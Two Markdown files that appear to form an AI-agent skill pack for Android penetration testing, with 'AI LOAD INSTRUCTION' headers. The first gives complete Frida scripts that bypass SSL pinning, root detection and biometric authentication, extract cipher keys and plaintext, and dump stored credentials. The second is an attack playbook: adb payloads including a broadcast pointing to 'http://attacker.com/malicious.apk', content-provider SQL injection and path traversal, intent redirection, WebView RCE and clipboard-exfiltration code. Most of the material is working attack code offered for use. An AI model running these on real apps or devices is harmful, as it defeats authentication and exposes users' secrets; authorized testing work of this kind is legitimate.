FRIDA_SCRIPTS.md
# Frida Script Templates for Android Testing
> **AI LOAD INSTRUCTION**: Load this when you need ready-to-use Frida scripts for Android application testing. Covers SSL pinning bypass, root detection bypass, method tracing, crypto hooks, and WebView debugging. Assumes the main [SKILL.md](./SKILL.md) is already loaded for general Android testing methodology.
---
## 1. UNIVERSAL SSL PINNING BYPASS
```javascript
// frida_ssl_bypass.js — hooks multiple SSL validation points
Java.perform(function() {
// Hook TrustManager
var TrustManager = Java.registerClass({
name: 'com.frida.TrustManager',
implements: [Java.use('javax.net.ssl.X509TrustManager')],
methods: {
checkClientTrusted: function(chain, authType) {},
checkServerTrusted: function(chain, authType) {},
getAcceptedIssuers: function() { return []; }
}
});
var SSLContext = Java.use('javax.net.ssl.SSLContext');
SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;',
'[Ljavax.net.ssl.TrustManager;',
'java.security.SecureRandom'
).implementation = function(km, tm, sr) {
this.init(km, [TrustManager.$new()], sr);
};
// Hook OkHttp3 CertificatePinner
try {
var CertPinner = Java.use('okhttp3.CertificatePinner');
CertPinner.check.overload('java.lang.String', 'java.util.List')
.implementation = function(hostname, peerCerts) {
return; // skip pinning check
};
} catch(e) {}
// Hook OkHttp3 CertificatePinner.check$okhttp
try {
var CertPinner = Java.use('okhttp3.CertificatePinner');
CertPinner['check$okhttp'].implementation = function(hostname, fn) {
return;
};
} catch(e) {}
// Hook HttpsURLConnection
try {
var HttpsConn = Java.use('javax.net.ssl.HttpsURLConnection');
HttpsConn.setSSLSocketFactory.implementation = function(factory) {
return; // prevent custom factory
};
HttpsConn.setHostnameVerifier.implementation = function(verifier) {
return; // prevent custom verifier
};
} catch(e) {}
console.log('[+] SSL Pinning bypassed');
});
```
---
## 2. ROOT DETECTION BYPASS
```javascript
// frida_root_bypass.js — comprehensive root detection bypass
Java.perform(function() {
// Hook File.exists for su binary checks
var File = Java.use('java.io.File');
var rootPaths = ['/system/xbin/su', '/sbin/su', '/system/bin/su',
'/system/su', '/data/local/xbin/su', '/data/local/bin/su',
'/su/bin/su', '/magisk/.core/bin/su'];
File.exists.implementation = function() {
var path = this.getAbsolutePath();
for (var i = 0; i < rootPaths.length; i++) {
if (path === rootPaths[i]) {
console.log('[Root Bypass] File.exists blocked: ' + path);
return false;
}
}
return this.exists();
};
// Hook Build.TAGS
var Build = Java.use('android.os.Build');
Build.TAGS.value = 'release-keys';
// Hook PackageManager for Magisk/SuperSU detection
var PM = Java.use('android.app.ApplicationPackageManager');
var rootPackages = ['com.topjohnwu.magisk', 'eu.chainfire.supersu',
'com.koushikdutta.superuser', 'com.noshufou.android.su'];
PM.getPackageInfo.overload('java.lang.String', 'int').implementation = function(name, flags) {
for (var i = 0; i < rootPackages.length; i++) {
if (name === rootPackages[i]) {
console.log('[Root Bypass] PM.getPackageInfo blocked: ' + name);
throw Java.use('android.content.pm.PackageManager$NameNotFoundException').$new(name);
}
}
return this.getPackageInfo(name, flags);
};
// Hook Runtime.exec for "which su" checks
var Runtime = Java.use('java.lang.Runtime');
Runtime.exec.overload('java.lang.String').implementation = function(cmd) {
if (cmd.indexOf('su') !== -1 || cmd.indexOf('which') !== -1) {
console.log('[Root Bypass] Runtime.exec blocked: ' + cmd);
throw Java.use('java.io.IOException').$new('Command not found');
}
return this.exec(cmd);
};
// Hook System.getProperty for ro.debuggable etc.
var System = Java.use('java.lang.System');
System.getProperty.overload('java.lang.String').implementation = function(key) {
if (key === 'ro.debuggable') return '0';
if (key === 'ro.secure') return '1';
return this.getProperty(key);
};
console.log('[+] Root detection bypassed');
});
```
---
## 3. METHOD TRACER
```javascript
// frida_trace_methods.js — trace all methods of a class
Java.perform(function() {
function traceClass(className) {
var clazz = Java.use(className);
var methods = clazz.class.getDeclaredMethods();
methods.forEach(function(method) {
var methodName = method.getName();
var overloads = clazz[methodName].overloads;
overloads.forEach(function(overload) {
overload.implementation = function() {
var args = Array.prototype.slice.call(arguments);
console.log('[TRACE] ' + className + '.' + methodName +
'(' + args.map(function(a) { return String(a); }).join(', ') + ')');
var ret = this[methodName].apply(this, arguments);
console.log('[TRACE] ' + className + '.' + methodName +
' => ' + String(ret));
return ret;
};
});
});
console.log('[+] Tracing ' + methods.length + ' methods in ' + className);
}
// Usage: trace target class
traceClass('com.target.app.api.AuthService');
});
```
---
## 4. CRYPTO HOOK (KEY & PLAINTEXT EXTRACTION)
```javascript
// frida_crypto_hooks.js — capture encryption keys and plaintext
Java.perform(function() {
// Hook Cipher.init to capture keys
var Cipher = Java.use('javax.crypto.Cipher');
Cipher.init.overload('int', 'java.security.Key').implementation = function(mode, key) {
var algo = this.getAlgorithm();
var keyBytes = key.getEncoded();
console.log('[Crypto] Cipher.init: algo=' + algo +
' mode=' + (mode === 1 ? 'ENCRYPT' : 'DECRYPT') +
' key=' + bytesToHex(keyBytes));
return this.init(mode, key);
};
// Hook Cipher.doFinal to capture plaintext/ciphertext
Cipher.doFinal.overload('[B').implementation = function(data) {
console.log('[Crypto] Cipher.doFinal input (' + data.length + ' bytes): ' +
bytesToHex(data));
var result = this.doFinal(data);
console.log('[Crypto] Cipher.doFinal output (' + result.length + ' bytes): ' +
bytesToHex(result));
return result;
};
// Hook SecretKeySpec constructor
var SecretKeySpec = Java.use('javax.crypto.spec.SecretKeySpec');
SecretKeySpec.$init.overload('[B', 'java.lang.String').implementation = function(key, algo) {
console.log('[Crypto] SecretKeySpec: algo=' + algo + ' key=' + bytesToHex(key));
return this.$init(key, algo);
};
// Hook MessageDigest (hash operations)
var MessageDigest = Java.use('java.security.MessageDigest');
MessageDigest.digest.overload('[B').implementation = function(data) {
var algo = this.getAlgorithm();
console.log('[Crypto] ' + algo + '.digest input: ' + bytesToHex(data));
var result = this.digest(data);
console.log('[Crypto] ' + algo + '.digest output: ' + bytesToHex(result));
return result;
};
function bytesToHex(bytes) {
if (!bytes) return 'null';
var hex = [];
for (var i = 0; i < bytes.length; i++) {
hex.push(('0' + (bytes[i] & 0xFF).toString(16)).slice(-2));
}
return hex.join('');
}
console.log('[+] Crypto hooks installed');
});
```
---
## 5. WEBVIEW DEBUGGING ENABLER
```javascript
// frida_webview_debug.js — enable WebView debugging for all WebViews
Java.perform(function() {
// Enable WebView debugging globally
var WebView = Java.use('android.webkit.WebView');
WebView.setWebContentsDebuggingEnabled(true);
// Hook loadUrl to log all URLs loaded
WebView.loadUrl.overload('java.lang.String').implementation = function(url) {
console.log('[WebView] loadUrl: ' + url);
return this.loadUrl(url);
};
WebView.loadUrl.overload('java.lang.String', 'java.util.Map').implementation = function(url, headers) {
console.log('[WebView] loadUrl: ' + url + ' headers: ' + headers);
return this.loadUrl(url, headers);
};
// Hook evaluateJavascript
WebView.evaluateJavascript.implementation = function(script, callback) {
console.log('[WebView] evaluateJavascript: ' + script);
return this.evaluateJavascript(script, callback);
};
// Hook addJavascriptInterface to log bridge objects
WebView.addJavascriptInterface.implementation = function(obj, name) {
console.log('[WebView] addJavascriptInterface: name=' + name +
' class=' + obj.getClass().getName());
return this.addJavascriptInterface(obj, name);
};
console.log('[+] WebView debugging enabled');
});
```
---
## 6. SHARED PREFERENCES DUMPER
```javascript
// frida_dump_prefs.js — dump all SharedPreferences
Java.perform(function() {
var ctx = Java.use('android.app.ActivityThread').currentApplication().getApplicationContext();
var prefsDir = ctx.getFilesDir().getParent() + '/shared_prefs/';
var File = Java.use('java.io.File');
var dir = File.$new(prefsDir);
var files = dir.listFiles();
if (files) {
for (var i = 0; i < files.length; i++) {
var name = files[i].getName().replace('.xml', '');
var prefs = ctx.getSharedPreferences(name, 0);
var all = prefs.getAll();
var entries = all.entrySet().iterator();
console.log('\n[SharedPrefs] === ' + name + ' ===');
while (entries.hasNext()) {
var entry = entries.next();
console.log(' ' + entry.getKey() + ' = ' + entry.getValue());
}
}
}
});
```
---
## 7. INTENT SNIFFER
```javascript
// frida_intent_sniffer.js — log all intents sent/received
Java.perform(function() {
var Activity = Java.use('android.app.Activity');
Activity.startActivity.overload('android.content.Intent').implementation = function(intent) {
console.log('[Intent] startActivity: ' + intent.toString());
if (intent.getExtras()) {
console.log('[Intent] extras: ' + intent.getExtras().toString());
}
return this.startActivity(intent);
};
Activity.startActivityForResult.overload('android.content.Intent', 'int')
.implementation = function(intent, requestCode) {
console.log('[Intent] startActivityForResult: ' + intent.toString() +
' requestCode=' + requestCode);
return this.startActivityForResult(intent, requestCode);
};
var Context = Java.use('android.content.ContextWrapper');
Context.sendBroadcast.overload('android.content.Intent').implementation = function(intent) {
console.log('[Intent] sendBroadcast: ' + intent.toString());
return this.sendBroadcast(intent);
};
console.log('[+] Intent sniffer installed');
});
```
---
## 8. BIOMETRIC BYPASS
```javascript
// frida_biometric_bypass.js — bypass fingerprint/face authentication
Java.perform(function() {
// BiometricPrompt (API 28+)
try {
var BiometricCallback = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
BiometricCallback.onAuthenticationSucceeded.implementation = function(result) {
console.log('[Biometric] Forcing authentication success');
this.onAuthenticationSucceeded(result);
};
BiometricCallback.onAuthenticationFailed.implementation = function() {
console.log('[Biometric] Intercepting failure → forcing success');
// Don't call original — suppress failure
};
} catch(e) {}
// AndroidX BiometricPrompt
try {
var AxCallback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
AxCallback.onAuthenticationFailed.implementation = function() {
console.log('[Biometric] AndroidX failure suppressed');
};
} catch(e) {}
// FingerprintManager (legacy, pre-API 28)
try {
var FPCallback = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationCallback');
FPCallback.onAuthenticationFailed.implementation = function() {
console.log('[Biometric] Legacy FP failure suppressed');
};
} catch(e) {}
console.log('[+] Biometric bypass hooks installed');
});
```
---
## 9. SCRIPT USAGE QUICK REFERENCE
| Script | Command | Use Case |
|---|---|---|
| SSL bypass | `frida -U -l frida_ssl_bypass.js -f com.target` | Intercept HTTPS traffic |
| Root bypass | `frida -U -l frida_root_bypass.js -f com.target` | Run on rooted device without detection |
| Method tracer | `frida -U -l frida_trace_methods.js -f com.target` | Understand app logic |
| Crypto hooks | `frida -U -l frida_crypto_hooks.js -f com.target` | Extract keys, see plaintext |
| WebView debug | `frida -U -l frida_webview_debug.js -f com.target` | Inspect WebView URLs and bridges |
| Prefs dumper | `frida -U -l frida_dump_prefs.js -f com.target` | Extract stored credentials/tokens |
| Intent sniffer | `frida -U -l frida_intent_sniffer.js -f com.target` | Monitor IPC |
| Biometric bypass | `frida -U -l frida_biometric_bypass.js -f com.target` | Skip fingerprint/face auth |
Common flags:
- `-f`: spawn app (fresh start)
- `-U`: USB-connected device
- `-F`: attach to frontmost app
- `--no-pause`: don't pause on spawn (auto-resume)
- `-H host:port`: remote Frida server
SKILL.md
---
name: android-pentesting-tricks
description: >-
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
---
# SKILL: Android Pentesting Tricks — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.
## 0. RELATED ROUTING
Before going deep, consider loading:
- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) when also testing the iOS version of the same app
- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted
### Advanced Reference
Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:
- Ready-to-use Frida script templates for common Android testing tasks
- Detailed hook points for OkHttp, Retrofit, Volley, WebView
- Root detection bypass script collection
---
## 1. SSL PINNING BYPASS
### 1.1 Frida Universal Bypass
```bash
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
```
| Hook Point | Library/Class | Coverage |
|---|---|---|
| `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS |
| `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x/4.x | Square OkHttp |
| `CertificatePinner.check` | OkHttp 3.x/4.x | OkHttp pinning |
| `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS |
| `SSLContext.init` | Android SDK | Custom SSL contexts |
| `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors |
| `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |
### 1.2 Objection (Quick Method)
```bash
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable
```
### 1.3 Network Security Config (Debug Builds)
If you can modify the APK or it's a debug build:
```xml
<!-- res/xml/network_security_config.xml -->
<network-security-config>
<debug-overrides>
<trust-anchors>
<certificates src="user" /> <!-- Trust user-installed CAs -->
</trust-anchors>
</debug-overrides>
</network-security-config>
```
### 1.4 Magisk Module Approach
| Module | Method | Scope |
|---|---|---|
| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |
| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |
| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |
| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |
---
## 2. COMPONENT EXPOSURE
### 2.1 Exported Activities
```bash
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"
# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
-d "target://callback?token=attacker_token"
# With extra data
adb shell am start -n com.target.app/.TransferActivity \
--es "amount" "99999" --es "recipient" "attacker"
```
### 2.2 Content Providers
```bash
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users
# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
--where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
```
| Provider Type | Attack Vector | Impact |
|---|---|---|
| Database-backed | SQL injection via `query()` projection/selection | Data leak, auth bypass |
| File-backed | Path traversal via URI | Read arbitrary files |
| Parcelable | Type confusion in custom Parcelable | Code execution |
### 2.3 Broadcast Receivers
```bash
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
--es "url" "http://attacker.com/malicious.apk"
# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data
```
### 2.4 Exported Services
```bash
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
--es "command" "exfiltrate"
# List running services
adb shell dumpsys activity services | grep com.target
```
---
## 3. WEBVIEW VULNERABILITIES
### 3.1 JavaScript Interface RCE (Pre-API 17)
```java
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");
// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
// .getMethod('getRuntime').invoke(null).exec('id')
```
### 3.2 Modern WebView Attacks
| Vulnerability | Condition | Exploit |
|---|---|---|
| `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |
| `setAllowFileAccessFromFileURLs(true)` | file:// can read other file:// | Load `file:///data/data/com.target/...` |
| `setAllowUniversalAccessFromFileURLs(true)` | file:// can access any origin | Exfiltrate via XHR to attacker |
| `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or file:// |
| `shouldOverrideUrlLoading` bypass | Incomplete URL validation | Redirect to attacker-controlled page |
| `evaluateJavascript` with tainted data | User data in JS execution | XSS in WebView context |
### 3.3 Deep Link to WebView Chain
```
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions
```
---
## 4. INTENT REDIRECTION
Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.
```java
// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
```
```bash
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
--es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
```
| Pattern | Indicator | Risk |
|---|---|---|
| `getParcelableExtra` → `startActivity` | Intent-in-Intent | Start non-exported activities |
| `getStringExtra("url")` → `startActivity(Intent.ACTION_VIEW)` | URL forwarding | Open arbitrary URLs |
| `getStringExtra("class")` → `Class.forName` → `startActivity` | Dynamic class loading | Start any activity by name |
---
## 5. ROOT DETECTION BYPASS
### 5.1 Common Root Detection Checks
| Check | What It Detects | Frida Bypass |
|---|---|---|
| `su` binary exists | `/system/xbin/su`, `/sbin/su` | Hook `File.exists()` → return false |
| Build tags contain "test-keys" | `Build.TAGS` | Hook `Build.TAGS` → return "release-keys" |
| Magisk Manager installed | Package name check | Hook `PackageManager.getPackageInfo` |
| Superuser.apk present | Su management app | Hook `File.exists()` |
| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |
| SafetyNet/Play Integrity | Server-side attestation | Requires Magisk DenyList + module |
| Abnormal system properties | `ro.debuggable=1`, etc. | Hook `SystemProperties.get` |
### 5.2 Magisk DenyList (Previously MagiskHide)
```bash
# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props
```
---
## 6. PLAY INTEGRITY / SAFETYNET BYPASS
| Level | What It Checks | Bypass Difficulty |
|---|---|---|
| Basic Integrity | Not rooted, not emulator | Easy (Magisk + DenyList) |
| Device Integrity | Bootloader locked, verified boot | Hard (requires locked bootloader) |
| Strong Integrity | Hardware-backed attestation | Very hard (hardware TEE) |
Techniques:
- Magisk with Zygisk enabled + DenyList for target app
- Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint
- Shamiko module: hides root from specific apps
- Custom ROM with locked bootloader (Pixel-specific tricks)
---
## 7. TAPJACKING (OVERLAY ATTACKS)
```xml
<!-- Malicious overlay activity -->
<activity android:name=".OverlayActivity"
android:theme="@style/TransparentTheme"
android:excludeFromRecents="true">
</activity>
<!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->
```
| Android Version | Protection | Bypass |
|---|---|---|
| Pre-6.0 | None | Full overlay |
| 6.0–11 | `filterTouchesWhenObscured` (opt-in) | Apps not using it are vulnerable |
| 12+ | Untrusted touches blocked for overlay windows | Partial overlays, timing-based |
---
## 8. BACKUP EXTRACTION
```bash
# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)
# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar
# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data
```
---
## 9. ADDITIONAL TRICKS
### 9.1 Debuggable App Exploitation
```bash
# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml
```
### 9.2 Drozer (Component Testing Framework)
```bash
# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2
# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app
```
### 9.3 Clipboard Sniffing
```java
// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
ClipData data = cm.getPrimaryClip();
// Exfiltrate copied passwords, tokens, etc.
});
```
---
## 10. ANDROID PENTESTING DECISION TREE
```
Testing Android application
│
├── Can intercept HTTPS traffic?
│ ├── No → SSL pinning in place
│ │ ├── Frida available? → universal SSL bypass script (§1.1)
│ │ ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│ │ ├── Debug build? → Network Security Config (§1.3)
│ │ └── None above? → manual decompile + patch + repackage
│ └── Yes → proceed to traffic analysis
│
├── Exported components found?
│ ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│ ├── Content Providers → SQLi, path traversal (§2.2)
│ ├── Broadcast Receivers → crafted intent injection (§2.3)
│ └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│ ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│ ├── File access enabled? → file:// scheme abuse (§3.2)
│ └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│ └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│ ├── Client-side checks only? → Frida hook bypass (§5.1)
│ ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│ └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│ ├── allowBackup=true? → ADB backup extraction (§8)
│ ├── Debuggable? → run-as for direct data access (§9.1)
│ └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
└── Overlay possible? → tapjacking (§7)
```